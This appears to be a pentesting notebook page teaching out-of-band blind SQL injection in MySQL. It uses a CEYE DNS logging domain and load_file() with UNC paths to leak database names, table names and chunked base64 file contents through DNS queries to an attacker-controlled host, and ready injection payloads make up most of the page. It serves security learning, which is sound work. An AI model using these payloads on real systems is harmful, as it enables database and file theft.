Out-Of-Band (OOB)

What is Out-Of-Band (OOB)?

Now, suppose that the application carries out the same SQL query, but does it asynchronously. The application continues processing the user's request in the original thread, and uses another thread to execute an SQL query using the tracking cookie. The query is still vulnerable to SQL injection, however none of the techniques described so far will work: the application's response doesn't depend on whether the query returns any data, or on whether a database error occurs, or on the time taken to execute the query.

In this situation, it is often possible to exploit the blind SQL injection vulnerability by triggering out-of-band network interactions to a system that you control. As previously, these can be triggered conditionally, depending on an injected condition, to infer information one bit at a time. But more powerfully, data can be exfiltrated directly within the network interaction itself.

A variety of network protocols can be used for this purpose, but typically the most effective is DNS. This is because very many production networks allow free egress of DNS queries, because they are essential for the normal operation of production systems.

CEYE

We use CEYE for receiving DNS requests. Once you register an account on the site, go to "Profile -> Identifier" and save the domain name assigned to you in your notebook. Ping the domain to see if it works:

ping <ceye_domain_name>

And you can ping any subdomain and it should work too:

ping test_dns.<ceye_domain_name>

The DNS queries are recorded in "Records -> DNS Query".

load_file()

In MySQL, the function load_file() is able read the content of local files. Be aware that there is a permission problem. For load_file() to work, we have to set secure_file_priv to NULL in /etc/my.conf (or my.ini). Verify if secure_file_priv is correctly set to NULL:

show global variables like "%secure_file_priv%";

If the "Value" column is empty, we can do arbitrary read:

select load_file("/tmp/test.txt") as result;

OOB with load_file()

Get database name using load_file() through UNC path:

?id=1' and select load_file(concat("\\\\", (select database()), ".<ceye_domain_name>\\abc"));--+

Here \\\\ is just escaped \\, which is the very beginning of an UNC path. When this payload is executed successfully, CEYE will receive a DNS query mysql.<ceye_domain_name>, where mysql is the information that we wish to leak from the database.

Get table names:

?id=1' and select load_file(concat("\\\\", (select table_name from information_schema.tables where table_schema='security' limit 0,1), ".<ceye_domain_name>\\abc"));--+

Limitation

A domain name is made of several labels separated by dots (.). Each label must be less than 63 characters long. The entire domain name must be less than 253 characters long (including the dots). This fact limits us from reading a large file with OOB.

To circumvent this limitation, we can slice the large file into small chunks and base64 encode each chunk:

select concat(to_base64(substr(load_file("C:\\path\to\file"), 1, 15)), ".example.com") as result;

Last updated